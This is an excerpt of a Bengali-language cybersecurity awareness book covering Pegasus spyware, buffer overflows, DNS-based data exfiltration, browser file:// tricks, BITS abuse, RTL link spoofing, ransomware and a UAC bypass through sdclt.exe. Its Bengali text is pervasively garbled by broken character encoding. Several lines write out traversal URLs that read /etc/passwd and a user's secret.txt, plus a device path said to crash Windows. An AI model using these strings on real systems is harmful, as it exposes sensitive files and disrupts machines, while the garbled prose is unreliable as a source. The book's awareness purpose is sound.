ক�ন। যােত কের, আপনার কি�উটার িসে�েম �সই প�িতেত হ�াক করার 
সুেযাগ আেছ িকনা- �সটা যাচাই করেত পােরন।

────────────
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�পগাসাস �সাস� �কাড ফাঁস?

�পগাসাস  নামক  spyware িনেয়  উ�াল  সারা  িব�।  িঠক  �সই  মুহূেত� 
**vx-underground** িনেয় এেসেছ Pegasus এর sample! 
এিট  github  �থেক  ডাউনেলাড  করা  হে�।  যিদও,  এটা  সিত�ই 
Pegasus িকনা িকংবা, পিরপূণ� sample িকনা, �সই িবষেয় িনি�ত 
হওয়া যাে� না।

**উে�খ করার কারন**

এই িবষয়িট এই কারেনই উে�খ করলাম- যােত কের আপিন সতক� থাকেত 
পােরন।

EA FIFA �সাস� �কাড ফাঁস?

ই�ারেনেট একিট �ফারােম leak হওয়া data িবি� করা হয়। �সখােনই 
**EA FIFA** এর �সাস� ফাঁস করার দৃশ� �দখা যাে�। �যখােন �ায় 
700GB file এর িলংক share করা হেয়েছ।

ই�ারেনট  এখন  আর  আমােদর  জীবেনর  আলাদা  অংশ  না।  বরং, 
ই�ারেনটেক িঘেরই আমােদর জীবন। তাই, �সই ই�ারেনট ব�াবহার ক�ন- 
সেচতনতার সােথ।
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────────────

�পগাসাস �াইওয়�ার

Pegasus �াইওয়�ার িনেয় �দেশর সেচতন মহল অেনক উি��। কারন, 
�ধুমা�  call  পাঠােনার  মাধ�েমই  নািক  এিট  install  হেয়  যায়।  তাই, 
একজন ব�ি� যিদ �কান �িতকর িলংেক ি�ক না-ও কেরন, তারপরও র�া 
�নই!

মূলত,  উ�ত  �দেশ  সে�হভাজন  ব�ি�র  ওপর  নজরদাির  করার  লে�� 
রা�ীয়ভােব spyware (সফটওয়�ার) ব�াবহার করা হয়। এটা �সই �দেশর 
আইেন  �বধ।  Pegasus এমনই  একিট  �াইওয়�ার।  যিদও,  এিট  �বশ 
পুরেনা ম�ালওয়�ার িক�, এই িবষেয় নতুনভােব চা�ল�কর পিরি�িত �তির 
হেয়েছ।  কারন,  পূেব�  এিট  install  করােনার  জন�  িলংেক  ি�ক  করেত 
হেতা।  িক�,  বত�মােন  �কানিকছুেত  ি�ক  করা  ছাড়াই  install  করােনা 
স�ব। তাই, এিট এখন zero-click attack এর অ�ভু��।

সাধারন িসম কােড� (�সলুলার �নটওয়ােক�) call করার মাধ�েম ম�ালওয়�ার 
install  কিরেয়  �দওয়া  �মাটামুিট  অস�ব।  এই  ধরেনর  call  বা, 
message এর মাধ�েম বড়েজার আপনার �মাবাইল reboot করােনা 
�যেত পাের। �যমন- �ধুমা� **=**  িচ� িকংবা এরকম িবেশষ িকছু িলেখ 
message করেল হয়েতা �মাবাইল অেটােমিটক restart হেব। আবার, 
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Windows কি�উটাের  ওেয়ব  �াউজার  িদেয়  িনেচর  file  path িট 
open করেল হয়েতা নীল দৃশ� (BSOD) চেল আসেব-

 \\.\globalroot\device\condrv\kernelconnect

িক�, এর সােথ ম�ালওয়�ােরর স�ক� �নই। তাই, সাধারন িসম কােড� call 
করার মাধ�েমই ম�ালওয়�ার ই�টল হেয় যাওয়ার ভয় বত�মােন খুব একটা 
না করেলও হেব।

তেব,  ই�ারেনেটর  মাধ�েম  call  করার  �যসব  app  আেছ,  �স�েলার 
vulnerability (�িট) -র মাধ�েম ম�ালওয়�ার install কিরেয় �দওয়া 
আলবৎ  স�ব।  �যমন-  Whatsapp এর  একিট  �িটর  কারেন  �ধুমা� 
call  করার  মাধ�েমই  হ�াক  করা  স�ব  হেয়িছেলা।  এই  িবষেয় 
Facebook কতৃ�প� িনেচর িলংেক ব�াখ�া িদেয়েছ-

facebook.com/security/advisories/cve-2019-3568

মূলত, এিট স�ব হওয়ার একিট কারন buffer overflow নামক একিট 
�িট। এই িবষেয় িনেচর িলংেকর post এ িব�ািরত কথা হেলা,

Buffer Overflow

�াচীন ভারেত মিহষ িশকার করার জন� পাথেরর বাঁেধর িদেক হাঁিকেয় িনেয় 
যাওয়া  হেতা।  এরপর  পা  �ভে�  িনেচ  �ফেল  িদেল  িনেচ  থাকা  অন�ান� 
িশকািররা বশ�া এবং ধনুক িদেয় মিহষ�েলােক পিরপূণ�ভােব হত�া করেতা। 
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এখােন মিহষ�েলােক কি�উটােরর data -র সােথ তুলনা ক�ন। �থেম 
কি�উটােরর RAM এর মেধ� �বিশ পিরমাণ data িনেয় যাওয়া হে�, 
এরপর  �স�েলা  জায়গার  অভােব  অন�  জায়গায়  চেল  যাে�। 
Congratulations! আপিন Buffer Overflow নামক কি�উটার 
attack এর �াথিমক ধারণা �পেয় �গেছন! এবাের িব�ািরত আেলাচনায় 
যাওয়া যাক।

কি�উটাের  চলমান  সফটওয়�ার�েলার  data সািরব�ভােব  �মেমাির  বা, 
RAM এর মেধ� থােক। সফটওয়�ার যখন �মেমািরেত এসব data রােখ, 
তখন আলাদাভােব ভাগ কের কের রােখ। �েত�ক ভাগ বা, অংশেক buffer 
বলা হয়। মেন ক�ন- একিট সফটওয়�ার আপনার কােছ পাসওয়াড� চাে�। 
আপিন  পাসওয়াড�  িলেখ  পাঠােল  পাসওয়াড�িট  তার  জন�  িনধ�ািরত  করা 
buffer এর মেধ� চেল যােব। এরপর �সই পাসওয়াড� সিঠক নািক ভুল- 
ইত�ািদ  যাচাই  করার  পর  ২য়  কাজ  ��  হেব।  িক�,  এই  ২য়  কাজিট 
কি�উটােরর  �কাথায়  আেছ,  �সটা  কি�উটার  জানেব  িক  কের?  �সটার 
প�িত  হে�-  একিট  কাজ  হওয়ার  সময়  কি�উটােরর  CPU এর  EIP 
নামক  �রিজ�াের  ২য়  কাজিটর  িঠকানা  (address)  �লখা  থােক।  তাই, 
আপনার পাসওয়াড� যাচাইেয়র কাজ হেয় �গেল এখান �থেক ২য় কাজিটর 
address �জেন �নওয়া হেব। খুবই সহজ, তাই না? 

িক�, 32 bit সফটওয়�াের অেনক সময় পাসওয়ােড�র সােথ আরও িকছু 
data িলেখ পাঠােনা যায়। তখন একজন ব�ি� পাসওয়ােড�র সােথ �িতকর 
code িলেখ  পািঠেয়,  ২য়  কাজিটর  address এর  জায়গায়  �িতকর 
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code এর address িলেখ িদেত পারেব। ফেল, কি�উটার যখন ১ম 
কাজিট  স��  কের  ২য়  কাজ  করার  জন�  �সটার  address খুঁেজ  run 
করেব,  তখন  �সই  address  এর  জায়গায়  �িতকর  code  এর 
address �লখা থাকায় �সই �িতকর code �ক-ই run করেব। আর, 
এর নাম হে�- buffer overflow। িবষয়টা এেতা সহজ কের �কাথাও 
�বাঝােনা হয় িন। তেব, আপনােদর জন� আমার এই �ু� �েচ�া। ধন�বাদ।

.

মেন ক�ন- একজন ব�ি� আপনােক call কেরেছ। সােথ সােথ আপনার 
�মাবাইেলর speaker এর মাধ�েম ringtone �বঁেজ উঠেছ। অথ�াৎ, �যই 
app এর মাধ�েম call করা হেয়েছ, �সই app -এ আসা data �েলা 
processor -এর কােছ যাে� এবং processor �সই data �েলা 
�েসিসং কের speaker এর কােছ পািঠেয় িদে�। িক�, �সই app -এর 
যিদ এমন �িট থােক �য, call এর সােথ �মাবাইেল আসা data -র মেধ� 
�িতকর  code  যু�  কের  �দওয়া  হেল  �স�েলাও  �েসসেরর  মাধ�েম 
execute কের �ফলেব, তাহেলই এই �িটেক কােজ লািগেয় call এর 
সােথ  ম�ালওয়�ােরর  data পািঠেয়  িদেয়  �সিট  আপনা-আপিন  install 
করা  স�ব  হেব।  যিদও,  Forbes  এর  সূে�  জানা  িগেয়েছ  �য,  এই 
ম�ালওয়�ারিট ��তকারী �িত�ােনর CEO বেলেছ, 'আপিন যিদ অপরাধী 
না হন, তাহেল ভয় �নই'।

পিরেশেষ একিট কথাই বলেবা- একিট �দেশর জন� এই ধরেনর �াইওয়�ার 
�য়  করা  হেব  চরম  �বাকািম।  কারন,  নাগিরেকর  ওপর  নজরদাির  করেত 
িগেয় �শষেমশ িনেজরাই �সই ম�ালওয়�ার �কা�ািনর নজরদািরেত পড়েবন 
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িকনা- তার গ�ারাি� পাওয়া কিঠন।

িলংক িদেয় data পাঁচার

আপিন যখন ওেয়বসাইেটর নাম িলেখ সাচ� �দন, তখন আপনার �াউজার 
িকভােব  �সই  ওেয়বসাইট  খুঁেজ  পায়?  অেনেকই  বলেবন-  DNS সাভ�ার 
�থেক ওেয়ব সাভ�ােরর আইিপ এে�স �বর করার মাধ�েম ওেয়বসাইটিট খুঁেজ 
�বর করা হয়। িজ, সিঠক উ�র। িক�, মেন ক�ন-  �সই ওেয়বসাইেটর 
মািলক  আপনার  কি�উটার  হ�াক  কেরেছ।  এখন  �ধুমা�  আপনার 
কি�উটােরর  �াউজার  �থেক  তার  িনেজর  ওেয়বসাইেট  এরকম  িরকুেয়� 
পাঠােনার মাধ�েমই data পাঠােনা স�ব।

# িক�, িকভােব?

উদাহরণ ��প, আমার ওেয়বসাইট-

intarna.com

এখন আপিন �াউজাের িনেচর ওেয়বসাইট িলেখ Enter ��স করেলন-

notexist.site.intarna.com
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বা�েব এই ওেয়বসাইট (subdomain) �নই। িক�, �সটা �তা আপনার 
�াউজার  জােন  না।  তাই,  এই  ওেয়বসাইেটর  (subdomain)  আইিপ 
এে�স খুঁেজ �বর করার জন� আমার িনয়ি�ত সাভ�াের (name server) 
একিট request আসেব। তার একিট অংশ হেব অেনকটা িনেচর মেতা-

> notexistsiteintarnacom

বুঝেত  পারেছন  িবষয়িট?  এই  ওেয়বসাইেটর  অি��  না  থাকার  পেরও 
ওেয়বসাইেটর  িলংেকর  আেগ  **notexist.**  যু�  কের  সাচ�  করেল 
আপনার �াউজার আমার সাভ�াের �সিট যু� কের িরকুেয়� পাঠাে�। অথ�াৎ, 
আপনার  কি�উটার  হ�াক  করার  পর  �সই  অপরাধী  ব�ি�  যিদ  তার 
ওেয়বসাইেট এরকম িরকুেয়� পাঠায় �যখােন **notexist.** এর �ােন 
আপনার  কি�উটােরর  encoded  data  থাকেব,  তাহেল  �সই 
ওেয়বসাইেটর  অি��  না  থাকেলও  �সই  data  যু�  একিট  িরকুেয়� 
অপরাধীর সাভ�াের চেল যােব। 

এর একিট বড় সুিবধা হে�- এি� ভাইরাসেক �ধাঁকা �দওয়া। তেব, আপনার 
কি�উটার  হ�াক  হেল  তেবই  এিট  করার  ��  আসেব।  আর,  আিম  আশা 
কির-  আপিন  যেথ�  সেচতনতার  সােথ  কি�উটার  ব�াবহার  করেবন  এবং 
হ�ািকং �থেক িনরাপদ থাকেবন। ধন�বাদ।

────────────
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�াউজার হ�ািকং

একিট সফটওয়�ােরর �িটর মাধ�েম স�ুন� কি�উটারই হ�াক হেয় �যেত 
পাের। ওেয়ব �াউজার �েলাও একিট সফটওয়�ার তাই, �াউজার হ�াক হেল 
পড়েত হেব িবপেদ।

আজেকর  আেলাচনার  ��েত  '**িলংেকর  সােথ  একিট  �াউজার  িকভােব 
কাজ কের**' �সই িবষেয় আমার িনজ� িরসাচ� তুেল ধরেবা-

আমার Linux কি�উটাের Firefox �াউজাের িনেচর URL scheme 
িলেখ Enter ��স করেল /etc/passwd নামক sensitive একিট 
file এর মধ�কার সবিকছু �াউজাের �দখাে�-

file://google.com/form/file/e2dsf4G5S4sdj2s6C8a4
G/../../../etc/passwd

(িলংকিট  space  ছাড়া  িলখেত  হেব।  িক�,  space  ছাড়া  িলংকিট 
�ফসবুেক পিরবিত�ত হেয় যায় তাই, space িদেয় িলখেত হেয়েছ)।
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যিদও  Chrome �াউজাের  error  �দখায়  িক�,  Firefox  �াউজাের 
সরাসির আমার file এর মধ�কার সবিকছু �দখাে�।

এরপর  Windows  কি�উটাের  Microsoft  Edge  িদেয়  িনেচর 
URL scheme িলেখ  test  করলাম।  উপেরর  মেতাই  কি�উটােরর 
secret.txt নামক একিট file এর মধ�কার সবিকছু �াউজাের �দখােলা-

>  file://  google.com 
/form/file/e2dsf4G5S4sdj2s6C8a4G/../../../C:\Users\

userName\secret.txt

(িলংকিট  space  ছাড়া  িলখেত  হেব।  িক�,  space  ছাড়া  িলংকিট 
�ফসবুেক পিরবিত�ত হেয় যায় তাই, space িদেয় িলখেত হেয়েছ)।

িক�, এ�েলার ��েত �যেহতু https scheme �নই, তাই এ�েলােত 
ি�ক করার মাধ�েম open করা স�ব না (copy-paste িকংবা িনেজই 
িলখেত  হেব)।  িক�,  আিম  আেরকটু  ঘাটাঘািট  কের  https যু�  িনেচর 
হযবরল িলংকিট গঠন করলাম-

https://youtube.com/channel/entertainment/blockbu
ster/episode/new/../../../../../../@file://google.com/f
orm/file/e2dsf4/../../../../../../etc/passwd

(িলংকিট  space  ছাড়া  িলখেত  হেব।  িক�,  space  ছাড়া  িলংকিট 
�ফসবুেক পিরবিত�ত হেয় যায় তাই, space িদেয় িলখেত হেয়েছ)।



───সাইবার জগেতর ওিপঠ by সাইফ 

89

�তা,  এখন  এই  িলংেক  ি�ক  কেরই  visit করা  স�ব।  আপিন  যিদ  মেন 
কেরন-

এই িলংকিট youtube.com/channel/entertainment -এ িনেয় 
যােব, তাহেল ভুল করেবন। 

এখােন ২ িট িজিনস ঘটেব-

* @ এর আেগর অংশিট হেয় যােব youtube.com,

* @ এর পেরর অংশিট হেয় যােব /etc/passwd,

এরপর Youtube এর িবেশষ ফাংশনািলিটর জন� আপিন িনেচর িলংেক 
চেল যােবন-

youtube.com/user/etc/passwd

এর মাধ�েম আপিন হ�াক না হেলও আপনােক �বাকা বািনেয় একজন ব�ি� 
তার িনেজর youtube চ�ােনেল িনেয় �যেত স�ম (যিদ এরকম িলংেক 
ি�ক কেরন)।
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যিদও  এই  িবষয়�েলা  �ত��ভােব  িসিকউিরিট  িরেলেটড  না।  তেব, 
Firefox এই িবষয়িট সািরেয় �ফলেব বেল আমােক জািনেয়েছ।

�স  যাই  �হাক,  বত�মান  সমেয়র  ওেয়ব  �াউজার  �েলা  sandboxing 
প�িত ব�াবহার কের থােক। অথ�াৎ, �াউজার open করেল �াউজােরর জন� 
কি�উটাের  একিট  মূল  process (parent process)  �তির  হয়। 
আর, �াউজাের �যসব ওেয়বসাইট �দেখন, �স�েলা এই মূল process 
এর  অধীেন  আলাদা  আলাদা  child process িহেসেব  থােক।  আলাদা 
আলাদা  process  হওয়ায়  একিট  process  �াভািবক  ভােব  অন� 
process  এর  �মেমাির  access  করেত  পাের  না।  আবার, 
ওেয়বসাইট�েলা  �যসব  process এর  মেধ�  �দখােনা  (render)  হয়- 
�সসব process এর �মতা অেনক কম থােক। ফেল, আপিন আমার এই 
�লখািট �দখেছন �াউজােরর একিট **কম �মতাশীল** process এর 
মেধ�।

**এই প�িতর সুিবধা**

একজন ব�ি� চাইেলই একিট �িতকর ওেয়বসাইট �তির কের খুব সহেজ 
আপনার িডভাইেসর ওপর স�ুন� control িনেত পারেব না। কারন, তার 
ওেয়বসাইটিট  আপনার  �াউজােরর  কম  �মতাশীল  (limited 
permission) process এর মেধ� কাজ করেব। এমনিক �সই ব�ি�র 
ওেয়বসাইেট যিদ file upload করার অপশনও থােক (অথ�াৎ, আপনার 
িডভাইেসর  file  �ক  ওেয়বসাইেট  upload  করা)  �সে�ে�ও, 
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ওেয়বসাইেটর  process  �ক  �থেম  �াউজােরর  মূল  process  এর 
সােথ �যাগােযাগ (IPC) করেত হেব, permission িনেত হেব। আবার, 
একবার  permission িনেলই  িক�  �সই  ওেয়বসাইট  পুনরায়  আপনার 
িডভাইেসর  file এে�স  করেত  পারেব  না।  তাই,  ওেয়ব  �াউজার  হ�ািকং 
করা  বত�মােন  �বশ  কিঠন।  তেব,  হ�াক  কের  �দখােত  পারেল  �াউজােরর 
�কা�ািন  আপনােক  �কািট  �কািট  টাকা  িদেত  ��ত  আেছ।  সাইবার  িব� 
িনরাপদ থাকুক। সবাইেক ধন�বাদ।

────────────
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অেটােম�ক �ালওয়�ার

BITS

ম�ালওয়�ার সাধারণত অেটােমিটক ভােবই কাজ কের। তারপরও িশেরানােম 
'অেটােমিটক  ম�ালওয়�ার'  বলার  একিট  িবেশষ  কারন  আেছ।  আপিন  যিদ 
Windows  কি�উটার  ব�াবহার  কের  থােকন  তাহেল,  আপনার 
কি�উটাের  BITS রেয়েছ।  এিট  হে�  Background Intelligent 
Transfer  Service  এর  সংি��  �প।  আপনার  কি�উটাের  নতুন 
update সমূহ এই BITS এর মাধ�েমই ডাউনেলাড হয়। তেব, সাইবার 
অপরাধীরাও  তােদর  অসৎ  উে�শ�  বা�বায়েন  এই  BITS এর  ব�াবহার 
করেছ।

**এর িকছু কারন আেছ, �যমন-

* সাইবার অপরাধীরা যিদ আপনার অেগাচের আপনার কি�উটাের �িতকর 
data আদান-�দান করার সময় আপিন যিদ কি�উটার ব� কের �দন, 
তাহেল িক� অপরাধীেদর সােথ আপনার কি�উটােরর সংেযাগ িবি�� হেয় 
যােব এবং ডাউনেলাডও স�� হেব না। িক�, BITS এর িবষয় আলাদা। 
আপিন যিদ ই�ারেনেট �কান কাজ কেরন, তখন আপনার ই�ারেনট গিত 
�যেনা  slow  না  হেয়  যায়,  �সজন�  BITS  যিদ  �কান  update 
ডাউনেলাড করা �� কেরও থােক, সােথ সােথ �সই ডাউনেলাড pause 
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কের িদেব। এরপর যখন আপিন ই�ারেনেট �তমন �কান কাজ করেবন না, 
তখন  আবার  ডাউনেলাড  play  করেব।  এমনিক  কি�উটার  reboot 
করেলও  যেতাটুকু  ডাউনেলাড  করা  হেয়িছেলা,  �সখান  �থেকই  বাকী  অংশ 
ডাউনেলাড �� হেব। ফেল, অপরাধীরাও এই BITS ব�াবহার কের C2 
পিরচালনা  করেছ।  এেত  কের  �িতকর  data আদান-�দান  করার  সময় 
আপিন কি�উটার reboot করেলও পুনরায় ডাউনেলাড হেয় যােব।

*  BITS  �যেহতু  িব��  ��া�ােমর  update  ডাউনেলাড  কের;  তাই, 
এি�-ভাইরাস সাধারনত BITS এর আদান-�দান করা data �ক �িতকর 
মেন করেব না। ফেল, এেত অপরাধীরাও তােদর কাজ কের �যেত পারেব।

তাই, আপিন যিদ কি�উটার িবষেয় এ�পাট� না হন তাহেল, এই ধরেনর 
malware activities িনেজ  �থেক  শনা�  করা  অেনক  কিঠন  হেব। 
তারপরও �াথিমক িচিকৎসা িহেসেব Wireshark এর মেতা packet 
analyzer  ব�াবহার  করেত  পােরন  এবং  কি�উটার  �থেক  ই�ারেনেট 
আসা-যাওয়া traffic পয�েব�ন করেত পােরন। িক�, �কান কারেন সে�হ 
হেল অবশ�ই একজন এ�পােট�র কােছ �যেত হেব। ধন�বাদ।

────────────



───সাইবার জগেতর ওিপঠ by সাইফ 

94

IP Rotation

আজেক আপনার ওেয়বসাইট না থাকেলও ভিবষ�েত হয়েতা থাকেব। তখন 
আপনার  ওেয়বসাইেট  DDoS আ�মেণর  স�াবনা  থাকেব।  �সই  সােথ 
ওেয়বসাইেটর একাউ� হ�াক করার জন� অপরাধীরা brute force এর 
মাধ�েম এেকর পর এক password িদেয় login করার �চ�া করেব। 
এসব িবিভ� কারেণ অেনেকই আপনােক িনেচর পরামশ�িট িদেত পাের-

> আ�মেণর �ীকার হেল ওেয়বসাইট �থেক অপরাধীর IP এে�স block 
কের িদেলই আপিন িনরাপদ হেয় যােবন।

িক�, এই পরামশ� স�ূন� ভুল। কারণ, অপরাধীরা িবিভ� IP rotation 
এর proxy ব�াবহার কের �িতিনয়ত িনেজেদর IP এে�স পিরবত�ন করেত 
স�ম।  তাই,  আপিন  একিট  IP এে�স  block কের  িদেলও,  অপরাধীর 
অন�ান�  IP  এে�স  block  কের  িদেত  পারেছন  না।  এছাড়া,  cloud 
system ব�াবহার  কেরও  একসােথ  অসংখ�  IP এে�স  �থেক  আ�মণ 
করা স�ব। 

অেনেক  ভাবেত  পােরন-  বত�মান  যুেগ  �ধুমা�  IP এে�স  block করার 
মেতা  কাজ  �কউ  করেব  না।  িক�,  এই  ধারনািট  ভুল।  অ�  কেয়কিদন 
আেগই  কেয়ক  িমিলয়ন  user  এর  একিট  social  media  সাইেট 
এরকম vulnerability ধিরেয় িদেয় একজন হ�াকার �ায় ২৫ লাখ টাকা 

bounty �পেয়েছন। ───────────────সমা�
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[ Only For Awareness Purpose ]

িনেচর িলংকিট �দখুন-

google.com/امارات/عربي/امارات/ae.عربي

এটােক  Google  এর  িলংক  ভাবেল  ভুল  করেবন।  মূলত  এখােন 
ওেয়বসাইেটর নাম আরিব হওয়ায় �সিট ডান িদেক চেল যাে�। আর, এখােন 
google.com হে� ১ িট file এর নাম, �যিট বােম �দখা যাে�। এরকম 
িলংেক �গেল �সই google.com নামক file িট ডাউনেলাড হেয় যােব। 
�যমন আমার ওেয়বসাইেটর িনেচর িলংেক �গেল google.com নােমর 
একিট html file ডাউনেলাড হেয় যােব-

intarna.com/research/google.com

তেব, আমার ওেয়বসাইেটর file িট �কান�প �িতকর না হেলও অপরাধীরা 
এইভােব  আপনােক  �িতকর  file ডাউনেলাড  কিরেয়  িদেত  পাের।  যিদও 
এই প�িত অেনক পুরাতন এবং �ফসবুেক এই ধরেনর িলংক comment 
করেত �গেল block কের �দয় িক�, �ফসবুক যখন block হওয়া িলংক 
show কের তখন �সই িলংেকর google শ�িটই বােম থােক (post 
এর  মেতা)।  তাই,  �যই  ওেয়বসাইেট  এই  blocking system �নই, 
�সখােন এরকম িলংেকর comment করার সুেযাগ থাকেত পাের। ফেল, 
যারা এই িবষয়িট জােনন না তারা �সই িলংেক ি�ক কের সহেজই �ধাঁকার 
�ীকার হেয় যােব। কারন, তারা ভাবেবন- আমরা �তা Google এর file 
ডাউনেলাড করিছ!
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Ransomware

হ�াকার বনাম অপরাধী

আপনার কি�উটার হ�াক হেয় আেছ িকনা- বলেত পারেবন? আমার অবাক 
লােগ  যখন  জানেত  পাির-  অমুক  malware  �ারা  কেয়ক  িমিলয়ন 
কি�উটার হ�াক (compromised) হেয় আেছ অথচ, অিধকাংশ মানুষ 
�ধুমা� অনলাইেন �তারণা মূলক অপরাধ �থেক সেচতন �থেকই িনেজেক 
িনরাপদ  মেন  করেছন!  অথচ,  অেনেক  এটাই  জােনন  না  �য,  তােদর 
কি�উটার হ�াক হেয় আেছ িকনা! �স যাই �হাক, আজেকর আেলাচনার মূল 
িবষয় হে� **ransomware** আ�মণ। মূলত, বত�মান সময়টা হে� 
ransomware  আ�মেণর  সময়।  মেন  ক�ন-  সাইবার  অপরাধীরা 
আপনার  কি�উটাের  এমন  একিট  ��া�াম  �েবশ  কিরেয়  িদেলা-  �যটা 
আপনার কি�উটােরর file �েলা encrypt কের িদেয়েছ এবং �সই file 
�েলা আেগর অব�ায় িফিরেয় িনেত চাইেল অপরাধীেদরেক িনিদ�� পিরমাণ 
টাকা  িদেয়  decryption  key  িনেত  হেব।  এটাই  ransomware 
আ�মণ। অ� কেয়কিদন আেগই আ�জ�ািতক গণমাধ�ম Reuters এর 
সূে�  জানা  �গেছ  �য,  এই  ransomware  আ�মেণর  �ীকার  হেয়ই 
�গাসত প�ািকং �িত�ান JBS �ায় ১১ িমিলয়ন ডলার িদেত বাধ� হেয়েছ।

তেব,  এমনও  হেত  পাের  �য,  আপিন  অেনক  চালাক  মানুষ;  আপনার 
কি�উটােরর  সকল  file  অন�  �কাথাও  সংর�ণ  (backup)  কের 
�রেখেছন। তাই, অপরাধীরা আপনার কি�উটােরর file �েলা encrypt 
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কের  িদেলও  আপিন  অন�  জায়গা  �থেক  �সই  file  �েলা  িনেয়  আসেত 
পারেবন; ফেল, অপরাধীেদরেক টাকা িদেত হেব না। িক�, এমনটা ভাবেল 
ভুল  করেবন।  বত�মােন  অপরাধীরা  �ধুমা�  আপনার  কি�উটােরর  file 
�েলাই  encrypt  করেব  না  বরং,  অপরাধীরা  আপনার  ব�ি�গত 
ছিব/িভিডও  সহ  সকল  file  �থেম  িনেজর  কি�উটাের  পািঠেয় 
(exfiltrate)  িদেব।  ফেল,  আপিন  যিদ  তােদরেক  টাকা  িদেত  অ�ীকার 
কেরন, তাহেল তারা আপনার ব�ি�গত ও �গাপন data ই�ারেনেট ছিড়েয় 
�দওয়ার �মিক িদেব। এই �যমন- িফনল�া� এর একিট �থরািপ �স�ােরর 
�রাগীেদর  তথ�  হ�াক  কের  সরাসির  �রাগীেদর  কােছই  টাকা  �চেয় 
ransomware আ�মণ করা হেয়েছ।

মূল  আতে�র  িবষয়  হে�-  হ�ািকং  স�িক�ত  ভােলা  �ান  না  থাকেলও 
ransomware  আ�মণ  করা  স�ব।  কারণ,  ই�ারেনেট  অেনক  ি� 
ransomware �েজ� রেয়েছ। যিদও এ�েলার স�ে� ১ িট িবষয় মাথায় 
রাখেত  হেব  �য,  এসব  ransomware �েজ�  অনলাইেন  িনেয়  আসা 
হেয়িছেলা সাইবার িসিকউিরিট ��শািল�েদরেক বা�ব �েজে�র উদাহরণ 
�দিখেয় এনালাইিসেস সাহায� করার জন�। িক�, �স�েলা এখন অপরাধীরাও 
ব�াবহার করা �� কেরেছ। �সই সােথ, বত�মােন REvil এর মেতা অেনক 
িকছু চেল এেসেছ- যার মাধ�েম ransomware আ�মেণর ঝুঁিক অেনক 
�বেড়  িগেয়েছ।  আর,  ডাক�  ওেয়েব  শি�শালী  ransomware িবি�র 
কথা আর না-ই বা বললাম। 

এখন �� আসেত পাের- এি� ভাইরাস �েলা িক ransomware শনা� 
করেত পাের না?
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আপিন িক জােনন- অেনক িসিকউিরিট স�িক�ত সফটওয়�ার বা, ওেয়বসাইট 
িনেজরাই হ�াক হেয় িগেয়িছেলা? ২০১৪ সােল **EC-Council** হ�াক 
হেয় যাওয়া এর �কৃ� উদাহরণ। কারণ, এসব এি�-ভাইরাস �তা মানুষই 
�তির কের আর, মানুষ মা�ই ভুল। যিদও, পুরাতন ransomware হেল 
এি�-ভাইরাস  �েলা  শনা�  করেত  পারেব।  তেব,  অপরাধীরা  যিদ  �সসব 
পুরাতন ransomware এর payload �েলা িনজ� **crypter** 
ব�াবহার কের encrypt কের পাঠায়, তাহেল এি�-ভাইরাস অ�ম হেয় 
যােব। কারণ, নতুন update না আসা পয�� একিট এি�-ভাইরাস িনেজ 
�থেক �কান নতুন ম�ালওয়�ারেক শনা� করেত পাের না।

সব  িমিলেয়  আপনার  কি�উটােরর  জন�  ransomware  আ�মেণর 
ঝুঁিক  মারা�ক।  িক�,  এর  �চেয়ও  �বিশ  মারা�ক  হেব  যিদ,  �সই 
ransomware আ�মণিট আমােদর রাে�র বড় বড় �িত�ানেক টােগ�ট 
কের হয়। �দেশর সাইবার িসিকউিরিটর ওপর ��� না িদেল আ�জ�ািতক 
সাইবার  আ�মেণ  িবরাট  �িত  হেয়  যােব।  মেন  রাখেবন,  ই�ারেনেট 
�তারণা  মূলক  অপরােধর  �চেয়ও  বড়  আত�  হে�-  হ�ািকং  এর  �ীকার 
হওয়া। �তািরত হেল আপিন িবপেদ িক�, িডভাইস হ�াক হেয় �গেল আপিন, 
আপনার িডভাইস এবং আপনার ভিবষ�ৎ িবপেদ।

─────────
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UAC Bypass | িবপদ

আপিন যখন একিট কি�উটার িসে�েমর সােথ কথা বলেত পারেবন, �সই 
মূ�ত�  �থেকই  �সই  িসে�মেক  আপিন  হ�াক  কের  �ফেলেছন।  কি�উটার 
নামক  য�েক  command িদেয়  িনরাপদ  বানােনা  �যরকম  স�ব,  �সই 
িনরাপ�া �ভদ করাও স�ব।এজন� িনরাপ�া িসে�মেক bypass করা হয়। 
আপনার  কি�উটােরর  অপােরিটং  িসে�ম  যিদ  Windows হেয়  থােক, 
তাহেল আপিন �যেকান সময় **UAC bypass** এর মাধ�েম হ�ািকং 
এর �ীকার হেত পােরন।

Windows কি�উটাের  Administrator  একাউ�  এর  পাশাপািশ 
�বশ  িকছু  user  একাউ�  থােক।  িক�,  কি�উটাের  একিট 
Administrator  একাউ�  �যেকান  কাজ  করেত  ও  পিরবত�ন  করেত 
পারেলও, একজন সাধারণ user কখেনাই �সসব করার permission 
রােখ না।

এখন মেন ক�ন- আপিন social engineering বা, মানুেষর �ধাঁকায় 
পেড় একিট ম�ালওয়�ার ডাউনেলাড করেলন। �সই ম�ালওয়�ার যিদ �গাপেন 
কি�উটাের �কান ধরেনর পিরবত�ন আনেত যায়, তখন �সই পিরবত�ন করার 
জন� আপনার কােছ Administrative অনুমিত �চেয় িনেচর মেতা �লখা 
�দখােব-
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Do you want to allow this app to make changes to 
your device?

মেন  রাখেবন-  এটােক  **UAC  prompt**  বেল।  আপিন  যিদ 
**Yes**  -এ  ি�ক  না  কেরন,  তাহেল  ম�ালওয়�ারিট  িক�  কি�উটাের 
�সই  পিরবত�ন  আনেত  পারেব  না।  এই  অনুমিতর  িবষয়িট  UAC নামক 
��া�াম পয�েব�ন কের।

তেব,  Windows  কি�উটাের  এমন  িকছু  **auto-elevated** 
��া�াম  রেয়েছ,  �য�েলা  আপনার  কি�উটাের  Administrative 
�লেভেল কাজ করেত চাইেলও আপনার �থেক অনুমিত চাওয়ার জন� উপেরর 
মেতা  **UAC prompt**  �দখােব  না।  এরকম  একিট  ��া�াম  বা, 
এি�েকশন  হে�-  **sdclt.exe**।  আপিন  যখন  কি�উটাের  একিট 
��া�াম update �দন, তখন �সই ��া�ােমর একিট backup �নওয়া হয় 
এবং তারপর নতুন update ডাউনেলাড ও ই�টল করা হয়। যিদ, �কান 
কারেণ  নতুন  update  িঠকভােব  স��  না  হয়  তাহেল  আেগর  ভাস�ন 
পুনরায় restore করা হয়। আর, এই ���পূন� কাজিট কের থােক �সই 
**sdclt.exe**  নামক  ��া�াম।  িক�,  একটু  আেগই  বললাম-  এিট 
একিট  auto-elevated  ��া�াম।  তাই,  একিট  ম�ালওয়�ার  যিদ  এই 
**sdclt.exe**  -র  মাধ�েম  কি�উটােরর  Administrative 
